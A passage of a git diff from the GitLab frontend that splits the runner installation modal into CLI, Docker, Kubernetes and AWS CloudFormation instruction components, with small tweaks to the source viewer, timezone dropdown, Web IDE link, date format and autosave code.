+ 'Runners|Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
),
- link: 'https://docs.gitlab.com/runner/install/docker.html',
},
- kubernetes: {
- instructions: s__(
- 'Runners|To install Runner in Kubernetes follow the instructions described in the GitLab documentation.',
+ {
+ stackName: 'win2019-shell-spot',
+ templateName: 'easybutton-windows2019-shell-manual-scaling-with-scheduling-spotonly.cf.yml',
+ description: sprintf(
+ s__(
+ 'Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot.',
+ ),
+ { percentage: '100%' },
+ ),
+ moreDetails1: sprintf(s__('Runners|%{percentage} spot.'), { percentage: '100%' }),
+ moreDetails2: s__(
+ 'Runners|Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
),
- link: 'https://docs.gitlab.com/runner/install/kubernetes.html',
},
-};
+];
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/get_runner_platforms.query.graphql
index 76f152e5453..76f152e5453 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/get_runner_platforms.query.graphql
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/get_runner_setup.query.graphql
index c0248a35e3f..c0248a35e3f 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/graphql/get_runner_setup.query.graphql
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_aws_instructions.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_aws_instructions.vue
new file mode 100644
index 00000000000..cafebdfe5f4
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_aws_instructions.vue
@@ -0,0 +1,123 @@
+<script>
+import {
+ GlButton,
+ GlSprintf,
+ GlLink,
+ GlFormRadioGroup,
+ GlFormRadio,
+ GlAccordion,
+ GlAccordionItem,
+} from '@gitlab/ui';
+import Tracking from '~/tracking';
+import { getBaseURL, objectToQuery, visitUrl } from '~/lib/utils/url_utility';
+import { __, s__ } from '~/locale';
+import {
+ AWS_README_URL,
+ AWS_CF_BASE_URL,
+ AWS_TEMPLATES_BASE_URL,
+ AWS_EASY_BUTTONS,
+} from '../constants';
+
+export default {
+ components: {
+ GlButton,
+ GlSprintf,
+ GlLink,
+ GlFormRadioGroup,
+ GlFormRadio,
+ GlAccordion,
+ GlAccordionItem,
+ },
+ mixins: [Tracking.mixin()],
+ data() {
+ return {
+ selectedIndex: 0,
+ };
+ },
+ computed: {
+ selected() {
+ return this.$options.easyButtons[this.selectedIndex];
+ },
+ },
+ methods: {
+ borderBottom(idx) {
+ return idx < this.$options.easyButtons.length - 1;
+ },
+ easyButtonUrl(easyButton) {
+ const params = {
+ templateURL: AWS_TEMPLATES_BASE_URL + easyButton.templateName,
+ stackName: easyButton.stackName,
+ param_3GITLABRunnerInstanceURL: getBaseURL(),
+ };
+ return AWS_CF_BASE_URL + objectToQuery(params);
+ },
+ trackCiRunnerTemplatesClick(stackName) {
+ this.track('template_clicked', {
+ label: stackName,
+ });
+ },
+ onOk() {
+ this.trackCiRunnerTemplatesClick(this.selected.stackName);
+ visitUrl(this.easyButtonUrl(this.selected), true);
+ },
+ onClose() {
+ this.$emit('close');
+ },
+ },
+ i18n: {
+ title: s__('Runners|Deploy GitLab Runner in AWS'),
+ instructions: s__(
+ 'Runners|Select your preferred option here. In the next step, you can choose the capacity for your runner in the AWS CloudFormation console.',
+ ),
+ chooseRunner: s__('Runners|Choose your preferred GitLab Runner'),
+ dontSeeWhatYouAreLookingFor: s__(
+ "Runners|Don't see what you are looking for? See the full list of options, including a fully customizable option %{linkStart}here%{linkEnd}.",
+ ),
+ moreDetails: __('More Details'),
+ lessDetails: __('Less Details'),
+ },
+ readmeUrl: AWS_README_URL,
+ easyButtons: AWS_EASY_BUTTONS,
+};
+</script>
+<template>
+ <div>
+ <p>{{ $options.i18n.instructions }}</p>
+ <gl-form-radio-group v-model="selectedIndex" :label="$options.i18n.chooseRunner" label-sr-only>
+ <gl-form-radio
+ v-for="(easyButton, idx) in $options.easyButtons"
+ :key="easyButton.templateName"
+ :value="idx"
+ class="gl-py-5 gl-pl-8"
+ :class="{ 'gl-border-b': borderBottom(idx) }"
+ >
+ <div class="gl-mt-n1 gl-pl-4 gl-pb-2 gl-font-weight-bold">
+ {{ easyButton.description }}
+ <gl-accordion :header-level="3" class="gl-pt-3">
+ <gl-accordion-item
+ :title="$options.i18n.moreDetails"
+ :title-visible="$options.i18n.lessDetails"
+ class="gl-font-weight-normal"
+ >
+ <p class="gl-pt-2">{{ easyButton.moreDetails1 }}</p>
+ <p class="gl-m-0">{{ easyButton.moreDetails2 }}</p>
+ </gl-accordion-item>
+ </gl-accordion>
+ </div>
+ </gl-form-radio>
+ </gl-form-radio-group>
+ <p>
+ <gl-sprintf :message="$options.i18n.dontSeeWhatYouAreLookingFor">
+ <template #link="{ content }">
+ <gl-link :href="$options.readmeUrl" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <footer class="gl-display-flex gl-justify-content-end gl-pt-3 gl-gap-3">
+ <gl-button @click="onClose()">{{ __('Close') }}</gl-button>
+ <gl-button variant="confirm" @click="onOk()">
+ {{ s__('Runners|Deploy GitLab Runner in AWS') }}
+ </gl-button>
+ </footer>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_cli_instructions.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_cli_instructions.vue
new file mode 100644
index 00000000000..36e608a068b
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_cli_instructions.vue
@@ -0,0 +1,169 @@
+<script>
+import { GlButton, GlDropdown, GlDropdownItem, GlLoadingIcon } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
+import { REGISTRATION_TOKEN_PLACEHOLDER } from '../constants';
+import getRunnerSetupInstructionsQuery from '../graphql/get_runner_setup.query.graphql';
+
+export default {
+ components: {
+ GlButton,
+ GlDropdown,
+ GlDropdownItem,
+ GlLoadingIcon,
+ ModalCopyButton,
+ },
+ props: {
+ platform: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ registrationToken: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ },
+ data() {
+ return {
+ selectedArchitecture: this.platform?.architectures[0] || null,
+ instructions: null,
+ };
+ },
+ apollo: {
+ instructions: {
+ query: getRunnerSetupInstructionsQuery,
+ skip() {
+ return !this.platform || !this.selectedArchitecture;
+ },
+ variables() {
+ return {
+ platform: this.platform.name,
+ architecture: this.selectedArchitecture.name,
+ };
+ },
+ update(data) {
+ return data?.runnerSetup;
+ },
+ error() {
+ this.$emit('error');
+ },
+ },
+ },
+ computed: {
+ architectures() {
+ return this.platform?.architectures || [];
+ },
+ binaryUrl() {
+ return this.selectedArchitecture?.downloadLocation;
+ },
+ registerInstructionsWithToken() {
+ const { registerInstructions } = this.instructions || {};
+
+ if (this.registrationToken) {
+ return registerInstructions?.replace(
+ REGISTRATION_TOKEN_PLACEHOLDER,
+ this.registrationToken,
+ );
+ }
+ return registerInstructions;
+ },
+ },
+ watch: {
+ platform() {
+ // reset selection if architecture is not in this list
+ const arch = this.architectures.find(({ name }) => name === this.selectedArchitecture.name);
+ if (!arch) {
+ this.selectArchitecture(this.architectures[0]);
+ }
+ },
+ },
+ methods: {
+ selectArchitecture(architecture) {
+ this.selectedArchitecture = architecture;
+ },
+ onClose() {
+ this.$emit('close');
+ },
+ },
+ i18n: {
+ architecture: s__('Runners|Architecture'),
+ downloadInstallBinary: s__('Runners|Download and install binary'),
+ downloadLatestBinary: s__('Runners|Download latest binary'),
+ registerRunnerCommand: s__('Runners|Command to register runner'),
+ copyInstructions: s__('Runners|Copy instructions'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <h5>
+ {{ $options.i18n.architecture }}
+ <gl-loading-icon v-if="$apollo.loading" size="sm" inline />
+ </h5>
+
+ <gl-dropdown class="gl-mb-3" :text="selectedArchitecture.name">
+ <gl-dropdown-item
+ v-for="architecture in architectures"
+ :key="architecture.name"
+ is-check-item
+ :is-checked="selectedArchitecture.name === architecture.name"
+ data-testid="architecture-dropdown-item"
+ @click="selectArchitecture(architecture)"
+ >
+ {{ architecture.name }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ <div class="gl-sm-display-flex gl-align-items-center gl-mb-3">
+ <h5>{{ $options.i18n.downloadInstallBinary }}</h5>
+ <gl-button
+ v-if="binaryUrl"
+ class="gl-ml-auto"
+ :href="binaryUrl"
+ download
+ icon="download"
+ data-testid="binary-download-button"
+ >
+ {{ $options.i18n.downloadLatestBinary }}
+ </gl-button>
+ </div>
+
+ <template v-if="instructions">
+ <div class="gl-display-flex">
+ <pre
+ class="gl-bg-gray gl-flex-grow-1 gl-white-space-pre-line"
+ data-testid="binary-instructions"
+ >{{ instructions.installInstructions }}</pre
+ >
+ <modal-copy-button
+ :title="$options.i18n.copyInstructions"
+ :text="instructions.installInstructions"
+ :modal-id="$options.modalId"
+ css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
+ category="tertiary"
+ />
+ </div>
+ <h5 class="gl-mb-3">{{ $options.i18n.registerRunnerCommand }}</h5>
+ <div class="gl-display-flex">
+ <pre
+ class="gl-bg-gray gl-flex-grow-1 gl-white-space-pre-line"
+ data-testid="register-command"
+ >{{ registerInstructionsWithToken }}</pre
+ >
+ <modal-copy-button
+ :title="$options.i18n.copyInstructions"
+ :text="registerInstructionsWithToken"
+ :modal-id="$options.modalId"
+ css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
+ category="tertiary"
+ />
+ </div>
+ </template>
+
+ <footer class="gl-display-flex gl-justify-content-end gl-pt-3">
+ <gl-button @click="onClose()">{{ __('Close') }}</gl-button>
+ </footer>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_docker_instructions.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_docker_instructions.vue
new file mode 100644
index 00000000000..ff7e803af2a
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_docker_instructions.vue
@@ -0,0 +1,35 @@
+<script>
+import { GlButton, GlIcon } from '@gitlab/ui';
+import { s__ } from '~/locale';
+
+export default {
+ components: {
+ GlButton,
+ GlIcon,
+ },
+ methods: {
+ onClose() {
+ this.$emit('close');
+ },
+ },
+ I18N_INSTRUCTIONS_TEXT: s__(
+ 'Runners|To install Runner in a container follow the instructions described in the GitLab documentation',
+ ),
+ I18N_VIEW_INSTRUCTIONS: s__('Runners|View installation instructions'),
+ HELP_URL: 'https://docs.gitlab.com/runner/install/docker.html',
+};
+</script>
+<template>
+ <div>
+ <p>
+ {{ $options.I18N_INSTRUCTIONS_TEXT }}
+ </p>
+ <gl-button :href="$options.HELP_URL">
+ <gl-icon name="external-link" />
+ {{ $options.I18N_VIEW_INSTRUCTIONS }}
+ </gl-button>
+ <footer class="gl-display-flex gl-justify-content-end gl-pt-3">
+ <gl-button @click="onClose()">{{ __('Close') }}</gl-button>
+ </footer>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions.vue
new file mode 100644
index 00000000000..ee41dab0cec
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions.vue
@@ -0,0 +1,35 @@
+<script>
+import { GlButton, GlIcon } from '@gitlab/ui';
+import { s__ } from '~/locale';
+
+export default {
+ components: {
+ GlButton,
+ GlIcon,
+ },
+ methods: {
+ onClose() {
+ this.$emit('close');
+ },
+ },
+ I18N_INSTRUCTIONS_TEXT: s__(
+ 'Runners|To install Runner in Kubernetes follow the instructions described in the GitLab documentation.',
+ ),
+ I18N_VIEW_INSTRUCTIONS: s__('Runners|View installation instructions'),
+ HELP_URL: 'https://docs.gitlab.com/runner/install/kubernetes.html',
+};
+</script>
+<template>
+ <div>
+ <p>
+ {{ $options.I18N_INSTRUCTIONS_TEXT }}
+ </p>
+ <gl-button :href="$options.HELP_URL">
+ <gl-icon name="external-link" />
+ {{ $options.I18N_VIEW_INSTRUCTIONS }}
+ </gl-button>
+ <footer class="gl-display-flex gl-justify-content-end gl-pt-3">
+ <gl-button @click="onClose()">{{ __('Close') }}</gl-button>
+ </footer>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
index c5d3704ead9..729fe9c462c 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
@@ -12,15 +12,13 @@ import {
GlResizeObserverDirective,
} from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import { isEmpty } from 'lodash';
import { __, s__ } from '~/locale';
-import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
-import {
- INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES,
- REGISTRATION_TOKEN_PLACEHOLDER,
-} from './constants';
-import getRunnerPlatformsQuery from './graphql/queries/get_runner_platforms.query.graphql';
-import getRunnerSetupInstructionsQuery from './graphql/queries/get_runner_setup.query.graphql';
+import getRunnerPlatformsQuery from './graphql/get_runner_platforms.query.graphql';
+import { PLATFORM_DOCKER, PLATFORM_KUBERNETES } from './constants';
+
+import RunnerCliInstructions from './instructions/runner_cli_instructions.vue';
+import RunnerDockerInstructions from './instructions/runner_docker_instructions.vue';
+import RunnerKubernetesInstructions from './instructions/runner_kubernetes_instructions.vue';
export default {
components: {
@@ -33,7 +31,7 @@ export default {
GlIcon,
GlLoadingIcon,
GlSkeletonLoader,
- ModalCopyButton,
+ RunnerDockerInstructions,
},
directives: {
GlResizeObserver: GlResizeObserverDirective,
@@ -74,27 +72,13 @@ export default {
);
},
result() {
- // If it is set and available, select the defaultSelectedPlatform.
+ // If found, select the defaultSelectedPlatform.
// Otherwise, select the first available platform
- this.selectPlatform(this.defaultPlatformName || this.platforms?.[0].name);
- },
- error() {
- this.toggleAlert(true);
- },
- },
- instructions: {
- query: getRunnerSetupInstructionsQuery,
- skip() {
- return !this.shown || !this.selectedPlatform;
- },
- variables() {
- return {
- platform: this.selectedPlatform,
- architecture: this.selectedArchitecture || '',
- };
- },
- update(data) {
- return data?.runnerSetup;
+ const platform =
+ this.platforms?.find(({ name }) => this.defaultPlatformName === name) ||
+ this.platforms?.[0];
+
+ this.selectPlatform(platform);
},
error() {
this.toggleAlert(true);
@@ -106,39 +90,23 @@ export default {
shown: false,
platforms: [],
selectedPlatform: null,
- selectedArchitecture: null,
showAlert: false,
- instructions: {},
platformsButtonGroupVertical: false,
};
},
computed: {
- instructionsEmpty() {
- return isEmpty(this.instructions);
- },
- architectures() {
- return this.platforms.find(({ name }) => name === this.selectedPlatform)?.architectures || [];
- },
- binaryUrl() {
- return this.architectures.find(({ name }) => name === this.selectedArchitecture)
- ?.downloadLocation;
- },
- instructionsWithoutArchitecture() {
- return INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES[this.selectedPlatform]?.instructions;
- },
- runnerInstallationLink() {
- return INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES[this.selectedPlatform]?.link;
- },
- registerInstructionsWithToken() {
- const { registerInstructions } = this.instructions || {};
-
- if (this.registrationToken) {
- return registerInstructions?.replace(
- REGISTRATION_TOKEN_PLACEHOLDER,
- this.registrationToken,
- );
+ instructionsComponent() {
+ if (this.selectedPlatform?.architectures?.length) {
+ return RunnerCliInstructions;
+ }
+ switch (this.selectedPlatform?.name) {
+ case PLATFORM_DOCKER:
+ return RunnerDockerInstructions;
+ case PLATFORM_KUBERNETES:
+ return RunnerKubernetesInstructions;
+ default:
+ return null;
}
- return registerInstructions;
},
},
updated() {
@@ -149,6 +117,12 @@ export default {
show() {
this.$refs.modal.show();
},
+ close() {
+ this.$refs.modal.close();
+ },
+ onClose() {
+ this.close();
+ },
onShown() {
this.shown = true;
this.refocusSelectedPlatformButton();
@@ -159,21 +133,13 @@ export default {
// get focused when setting a `defaultPlatformName`.
// This method refocuses the expected button.
// See more about this auto-focus: https://bootstrap-vue.org/docs/components/modal#auto-focus-on-open
- this.$refs[this.selectedPlatform]?.[0].$el.focus();
+ this.$refs[this.selectedPlatform?.name]?.[0].$el.focus();
},
- selectPlatform(platformName) {
- this.selectedPlatform = platformName;
-
- // Update architecture when platform changes
- const arch = this.architectures.find(({ name }) => name === this.selectedArchitecture);
- if (arch) {
- this.selectArchitecture(arch.name);
- } else {
- this.selectArchitecture(this.architectures[0]?.name);
- }
+ selectPlatform(platform) {
+ this.selectedPlatform = platform;
},
- selectArchitecture(architecture) {
- this.selectedArchitecture = architecture;
+ isPlatformSelected(platform) {
+ return this.selectedPlatform.name === platform.name;
},
toggleAlert(state) {
this.showAlert = state;
@@ -189,17 +155,9 @@ export default {
i18n: {
environment: __('Environment'),
installARunner: s__('Runners|Install a runner'),
- architecture: s__('Runners|Architecture'),
downloadInstallBinary: s__('Runners|Download and install binary'),
downloadLatestBinary: s__('Runners|Download latest binary'),
- registerRunnerCommand: s__('Runners|Command to register runner'),
fetchError: s__('Runners|An error has occurred fetching instructions'),
- copyInstructions: s__('Runners|Copy instructions'),
- viewInstallationInstructions: s__('Runners|View installation instructions'),
- },
- closeButton: {
- text: __('Close'),
- attributes: [{ variant: 'default' }],
},
};
</script>
@@ -208,8 +166,8 @@ export default {
ref="modal"
:modal-id="modalId"
:title="$options.i18n.installARunner"
- :action-secondary="$options.closeButton"
v-bind="$attrs"
+ hide-footer
v-on="$listeners"
@shown="onShown"
>
@@ -234,88 +192,23 @@ export default {
v-for="platform in platforms"
:key="platform.name"
:ref="platform.name"
- :selected="selectedPlatform === platform.name"
- @click="selectPlatform(platform.name)"
+ :selected="isPlatformSelected(platform)"
+ @click="selectPlatform(platform)"
>
{{ platform.humanReadableName }}
</gl-button>
</gl-button-group>
</div>
</template>
- <template v-if="architectures.length">
- <template v-if="selectedPlatform">
- <h5>
- {{ $options.i18n.architecture }}
- <gl-loading-icon v-if="$apollo.loading" size="sm" inline />
- </h5>
-
- <gl-dropdown class="gl-mb-3" :text="selectedArchitecture">
- <gl-dropdown-item
- v-for="architecture in architectures"
- :key="architecture.name"
- is-check-item
- :is-checked="selectedArchitecture === architecture.name"
- data-testid="architecture-dropdown-item"
- @click="selectArchitecture(architecture.name)"
- >
- {{ architecture.name }}
- </gl-dropdown-item>
- </gl-dropdown>
- <div class="gl-sm-display-flex gl-align-items-center gl-mb-3">
- <h5>{{ $options.i18n.downloadInstallBinary }}</h5>
- <gl-button
- v-if="binaryUrl"
- class="gl-ml-auto"
- :href="binaryUrl"
- download
- icon="download"
- data-testid="binary-download-button"
- >
- {{ $options.i18n.downloadLatestBinary }}
- </gl-button>
- </div>
- </template>
- <template v-if="!instructionsEmpty">
- <div class="gl-display-flex">
- <pre
- class="gl-bg-gray gl-flex-grow-1 gl-white-space-pre-line"
- data-testid="binary-instructions"
- >{{ instructions.installInstructions }}</pre
- >
- <modal-copy-button
- :title="$options.i18n.copyInstructions"
- :text="instructions.installInstructions"
- :modal-id="$options.modalId"
- css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
- category="tertiary"
- />
- </div>
- <h5 class="gl-mb-3">{{ $options.i18n.registerRunnerCommand }}</h5>
- <div class="gl-display-flex">
- <pre
- class="gl-bg-gray gl-flex-grow-1 gl-white-space-pre-line"
- data-testid="register-command"
- >{{ registerInstructionsWithToken }}</pre
- >
- <modal-copy-button
- :title="$options.i18n.copyInstructions"
- :text="registerInstructionsWithToken"
- :modal-id="$options.modalId"
- css-classes="gl-align-self-start gl-ml-2 gl-mt-2"
- category="tertiary"
- />
- </div>
- </template>
- </template>
- <template v-else>
- <div>
- <p>{{ instructionsWithoutArchitecture }}</p>
- <gl-button :href="runnerInstallationLink">
- <gl-icon name="external-link" />
- {{ $options.i18n.viewInstallationInstructions }}
- </gl-button>
- </div>
- </template>
+ <keep-alive>
+ <component
+ :is="instructionsComponent"
+ :registration-token="registrationToken"
+ :platform="selectedPlatform"
+ @close="onClose"
+ @error="toggleAlert(true)"
+ />
+ </keep-alive>
</gl-modal>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/source_viewer/constants.js b/app/assets/javascripts/vue_shared/components/source_viewer/constants.js
index a28460dd58e..f382ded90d7 100644
--- a/app/assets/javascripts/vue_shared/components/source_viewer/constants.js
+++ b/app/assets/javascripts/vue_shared/components/source_viewer/constants.js
@@ -140,3 +140,7 @@ export const BIDI_CHARS_CLASS_LIST = 'unicode-bidi has-tooltip';
export const BIDI_CHAR_TOOLTIP = 'Potentially unwanted character detected: Unicode BiDi Control';
export const HLJS_ON_AFTER_HIGHLIGHT = 'after:highlight';
+
+// We fallback to highlighting these languages with Rouge, see the following issue for more detail:
+// https://gitlab.com/gitlab-org/gitlab/-/issues/384375#note_1212752013
+export const LEGACY_FALLBACKS = ['python'];
diff --git a/app/assets/javascripts/vue_shared/components/source_viewer/source_viewer.vue b/app/assets/javascripts/vue_shared/components/source_viewer/source_viewer.vue
index 0cfee93ce5d..efafa67a733 100644
--- a/app/assets/javascripts/vue_shared/components/source_viewer/source_viewer.vue
+++ b/app/assets/javascripts/vue_shared/components/source_viewer/source_viewer.vue
@@ -11,6 +11,7 @@ import {
EVENT_LABEL_FALLBACK,
ROUGE_TO_HLJS_LANGUAGE_MAP,
LINES_PER_CHUNK,
+ LEGACY_FALLBACKS,
} from './constants';
import Chunk from './components/chunk.vue';
import { registerPlugins } from './plugins/index';
@@ -57,10 +58,11 @@ export default {
},
unsupportedLanguage() {
const supportedLanguages = Object.keys(languageLoader);
- return (
+ const unsupportedLanguage =
!supportedLanguages.includes(this.language) &&
- !supportedLanguages.includes(this.blob.language?.toLowerCase())
- );
+ !supportedLanguages.includes(this.blob.language?.toLowerCase());
+
+ return LEGACY_FALLBACKS.includes(this.language) || unsupportedLanguage;
},
totalChunks() {
return Object.keys(this.chunks).length;
diff --git a/app/assets/javascripts/vue_shared/components/timezone_dropdown/timezone_dropdown.vue b/app/assets/javascripts/vue_shared/components/timezone_dropdown/timezone_dropdown.vue
index 423501265d7..247f49c1345 100644
--- a/app/assets/javascripts/vue_shared/components/timezone_dropdown/timezone_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/components/timezone_dropdown/timezone_dropdown.vue
@@ -30,6 +30,11 @@ export default {
required: true,
default: () => [],
},
+ additionalClass: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
},
data() {
return {
@@ -96,7 +101,14 @@ export default {
:value="timezoneIdentifier || value"
type="hidden"
/>
- <gl-dropdown :text="selectedTimezoneLabel" block lazy menu-class="gl-w-full!" v-bind="$attrs">
+ <gl-dropdown
+ :text="selectedTimezoneLabel"
+ :class="additionalClass"
+ block
+ lazy
+ menu-class="gl-w-full!"
+ v-bind="$attrs"
+ >
<gl-search-box-by-type v-model.trim="searchTerm" v-autofocusonshow autofocus />
<gl-dropdown-item
v-for="timezone in filteredResults"
diff --git a/app/assets/javascripts/vue_shared/components/web_ide_link.vue b/app/assets/javascripts/vue_shared/components/web_ide_link.vue
index 383dc27ea5e..98630512308 100644
--- a/app/assets/javascripts/vue_shared/components/web_ide_link.vue
+++ b/app/assets/javascripts/vue_shared/components/web_ide_link.vue
@@ -1,16 +1,13 @@
<script>
import { GlModal, GlSprintf, GlLink, GlPopover } from '@gitlab/ui';
import { s__, __ } from '~/locale';
+import { visitUrl } from '~/lib/utils/url_utility';
import UserCalloutDismisser from '~/vue_shared/components/user_callout_dismisser.vue';
import ActionsButton from '~/vue_shared/components/actions_button.vue';
import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
import ConfirmForkModal from '~/vue_shared/components/confirm_fork_modal.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-
-export const KEY_EDIT = 'edit';
-export const KEY_WEB_IDE = 'webide';
-export const KEY_GITPOD = 'gitpod';
-export const KEY_PIPELINE_EDITOR = 'pipeline_editor';
+import { KEY_EDIT, KEY_WEB_IDE, KEY_GITPOD, KEY_PIPELINE_EDITOR } from './constants';
export const i18n = {
modal: {
@@ -221,7 +218,13 @@ export default {
this.showModal('showForkModal');
},
}
- : { href: this.webIdeUrl };
+ : {
+ href: this.webIdeUrl,
+ handle: (evt) => {
+ evt.preventDefault();
+ visitUrl(this.webIdeUrl, true);
+ },
+ };
return {
key: KEY_WEB_IDE,
diff --git a/app/assets/javascripts/vue_shared/constants.js b/app/assets/javascripts/vue_shared/constants.js
index 2f85a29fb84..c93dd95a886 100644
--- a/app/assets/javascripts/vue_shared/constants.js
+++ b/app/assets/javascripts/vue_shared/constants.js
@@ -9,7 +9,7 @@ const INTERVALS = {
export const FILE_SYMLINK_MODE = '120000';
-export const SHORT_DATE_FORMAT = 'd mmm, yyyy';
+export const SHORT_DATE_FORMAT = 'mmm dd, yyyy';
export const ISO_SHORT_FORMAT = 'yyyy-mm-dd';
diff --git a/app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue
index 2fc1f935501..387fc5e0d1c 100644
--- a/app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue
@@ -1,6 +1,5 @@
<script>
import { GlForm, GlFormGroup, GlFormInput } from '@gitlab/ui';
-import $ from 'jquery';
import Autosave from '~/autosave';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
@@ -81,13 +80,13 @@ export default {
if (!titleInput || !descriptionInput) return;
- this.autosaveTitle = new Autosave($(titleInput.$el), [
+ this.autosaveTitle = new Autosave(titleInput.$el, [
document.location.pathname,
document.location.search,
'title',
]);
- this.autosaveDescription = new Autosave($(descriptionInput.$el), [
+ this.autosaveDescription = new Autosave(descriptionInput, [
document.location.pathname,
document.location.search,
'description',
diff --git a/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue b/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue
index b6a459f21e0..26309a25f07 100644
--- a/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue
+++ b/app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue
@@ -34,7 +34,7 @@ export default {
:href="`#${panel.name}`"
data-qa-selector="panel_link"
:data-qa-panel-name="panel.name"
- class="new-namespace-panel gl-display-flex gl-flex-shrink-0 gl-flex-direction-column gl-lg-flex-direction-row gl-align-items-center gl-rounded-base gl-border-gray-100 gl-border-solid gl-border-1 gl-w-full gl-py-6 gl-px-8 gl-hover-text-decoration-none!"
+ class="new-namespace-panel gl-display-flex gl-flex-shrink-0 gl-flex-direction-column gl-lg-flex-direction-row gl-align-items-center gl-rounded-base gl-border-gray-100 gl-border-solid gl-border-1 gl-w-full gl-py-6 gl-px-3 gl-hover-text-decoration-none!"
@click="track('click_tab', { label: panel.name })"
>
<div
diff --git a/app/assets/javascripts/work_items/components/notes/activity_filter.vue b/app/assets/javascripts/work_items/components/notes/activity_filter.vue
new file mode 100644
index 00000000000..71784d3a807
--- /dev/null
+++ b/app/assets/javascripts/work_items/components/notes/activity_filter.vue
@@ -0,0 +1,113 @@
+<script>
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { __ } from '~/locale';
+import Tracking from '~/tracking';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
+import { ASC, DESC } from '~/notes/constants';
+import { TRACKING_CATEGORY_SHOW, WORK_ITEM_NOTES_SORT_ORDER_KEY } from '~/work_items/constants';
+
+const SORT_OPTIONS = [
+ { key: DESC, text: __('Newest first'), dataid: 'js-newest-first' },
+ { key: ASC, text: __('Oldest first'), dataid: 'js-oldest-first' },
+];
+
+export default {
+ SORT_OPTIONS,
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ LocalStorageSync,
+ },
+ mixins: [Tracking.mixin()],
+ props: {
+ sortOrder: {
+ type: String,
+ default: ASC,
+ required: false,
+ },
+ loading: {
+ type: Boolean,
+ default: false,
+ required: false,
+ },
+ workItemType: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ persistSortOrder: true,
+ };
+ },
+ computed: {
+ tracking() {
+ return {
+ category: TRACKING_CATEGORY_SHOW,
+ label: 'item_track_notes_sorting',
+ property: `type_${this.workItemType}`,
+ };
+ },
+ selectedSortOption() {
+ const isSortOptionValid = this.sortOrder === ASC || this.sortOrder === DESC;
+ return isSortOptionValid ? SORT_OPTIONS.find(({ key }) => this.sortOrder === key) : ASC;
+ },
+ getDropdownSelectedText() {
+ return this.selectedSortOption.text;
+ },
+ },
+ methods: {
+ setDiscussionSortDirection(direction) {
+ this.$emit('updateSavedSortOrder', direction);
+ },
+ fetchSortedDiscussions(direction) {
